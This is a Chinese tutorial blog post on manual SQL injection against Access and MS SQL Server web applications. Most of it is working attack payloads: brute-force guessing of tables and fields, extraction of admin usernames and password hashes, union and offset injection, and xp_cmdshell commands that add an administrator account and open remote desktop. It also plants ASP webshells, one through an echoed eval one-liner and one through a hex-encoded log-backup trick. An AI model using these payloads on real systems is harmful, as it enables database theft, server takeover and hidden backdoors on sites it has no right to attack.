access/mssql手动注入

一.本文介绍

1、本文介绍access手工注入mssql注入获取webshell

判断数据库类型

在链接后面输入 and user>0,为下图错误类型,可以判断为access数据库

判断是MS SQL数据库

图1 : Microsoft OLE DB Provider for SQL Server 错误'80040e21' 

将nvarchar值'****'转换为数据类型为int的列时发生语法错误。     

Access数据库

图2:Microsoft OLE DB Provider Drivers ODBC Drivers 错误 ‘80040e21’

ODBC 驱动程序不支持所需的属性。

/news_view.asp,行20


二.手动注入

1、access手工注入:

Access只能暴力猜解,支持的数据库语句比较少。

先参数后面接 ' 出现错误或and 1=1;and 1=2,页面不同;则存在注入。

exists:检查查询的语句是否存在,存在返回True,不存在返回flse。

1.猜表:and exists(select * from administrator)

参数后接:and exists(select * from administrator)若表存在,页面显示正常;不存在会报错(可用burp爆表)。

2.猜字段:andexists(select user_name from administrator)

参数后接:and exists(select user_name from administrator)若字段存在,页面显示正常;不存在会报错(可用burp爆字段)。

3.猜(用户名)字段长度:and (select top 1 len (user_name)from administrator)>4    如果:>5出错就是 =5

5是我们要猜的长度,len为长度函数。当长度符合我们猜的长度,会返回正常页面,否则返回的不是正常页面

4.猜解字段内容:and (select top 1asc(mid(user_name,1,1)) from administrator)>97  (图1)

(mid(user_name,2,1)min为从第几位开始截取1位)     2,1)就是猜第2个内容(图2)

97是我们要猜的asc码。当长度符合我们猜的长度,会返回正常页面,否则返回的不是正常页面。最后一位一位的才出来即可得出用户名。密码也可以用这个办法猜出(mid(password,1,1)),若MD5,解密即可。

ASCII大于0为字母,小于0为汉字

ASCII详解


Asc为100的字母为d

5.高级语句:

判断字段数 :参数后面接:order by7 ;7为我们要猜的字段数。当前 数据表的字段数。(asc为升序,从小到大;desc为降序,从大到小;order by 默认升序)

主查询 字段:http://192.168.1.55:901/news_view.asp?id=14 order by 7


判断字段名称 

union select 1,2,3,4,5,6,7 from 表名   查看返回信息看看哪些字段是可写的

爆出显示位 :参数后面接:若显示位准确,则会显示对应数字。

爆出字段后查询administrator 的账号密码:union select 1,user_name,password,4,5,6,7 from administrator

md5密码

6、偏移注入与跨库查询 ,夸库需要知道绝对路径,所以一般不适用。(在5高级语法中,用:order by 爆出了当前表字段数为7)Acssecc才有偏移,sql等没有偏移注入。

偏移注入:在注入过程中,可能会遇到注入知道表名,但是不知道列名,从而无法继续猜解,此时需要偏移注入解决。

判断表名:union select 1,2,……,22,* from administrator  (联合查询爆显位)

开始偏移注入:

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from administrator    #错误

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,* from administrator      #错误

直到.........:

union select 1,2,3,4,* from administrator#正确 (爆出显示内容)

7-4=3,所以administrator 表的字段为3

union select 1,a.id,b.id,* from (administrator  as a inner join administrator  as b on a.id=b.id)

2、mssql注入获取webshell

1.先判断数据库类型,使用 and exists(select * from sysobjects)判断。

2.判断权限

and 1=(select IS_SRVROLEMEMBER('sysadmin'))(最高权限)

and 1=(select is_srvrolemember('db_owner'))(可以获取webshell)用到比较多

and 1=(select is_srvrolemember('public'))(只能看)

3.如果是sa权限

恢复扩展存储:;exec sp_dropextendedproc 'xp_cmdshell'

执行系统命令:添加用户 ;exec master..xp_cmdshell'net user test/add'

                         添加到管理员组:;exec master..xp_cmdshell 'net locaigroup administrators test/add',

开3389 ;execmaster..xp_cmdshell 'net start termservice',注册表允许远程连接"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer"/v

4.如果不具备sa权限,是dbowner权限

获取网站路径第一种方法

参数后面接:;exec master..xp_cmdshell 'netstat -an >>c:\netstat.txt'

第二种方法

http://192.168.1.55/sqlserver/1.aspx?xxser=1;drop table black;create Table black(result varchar(7996) null, id int not null identity (1,1))--http://192.168.1.55/sqlserver/1.aspx?xxser=1 ;insert into black exec master..xp_cmdshell 'dir c:\ '--

http://192.168.1.55/sqlserver/1.aspx?xxser=1 and (select result from black where id=1)>0--

一句话木马写入到网站根目录下面:

http://192.168.0.105/sqlserver/1.aspx?xxser=1%20;exec%20master..xp_cmdshell%20'Echo%20"<%eval%20request("chopper")%>"%20>>%20c:\wwwtest\iis-xxser.com--wwwroot\muma.asp'-

通过工具或手工直接差异备份获取webshell

http://192.168.0.102/sqlserver/1.aspx?xxser=1;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk='c:\test1' with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk='C:\wwwtest\iis-xxser.com--wwwroot\yjh.asp';alter database testdb set RECOVERY simple

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 213,186评论 6 492
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,858评论 3 387
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 158,620评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,888评论 1 285
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,009评论 6 385
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,149评论 1 291
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,204评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,956评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,385评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,698评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,863评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,544评论 4 335
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,185评论 3 317
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,899评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,141评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,684评论 2 362
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,750评论 2 351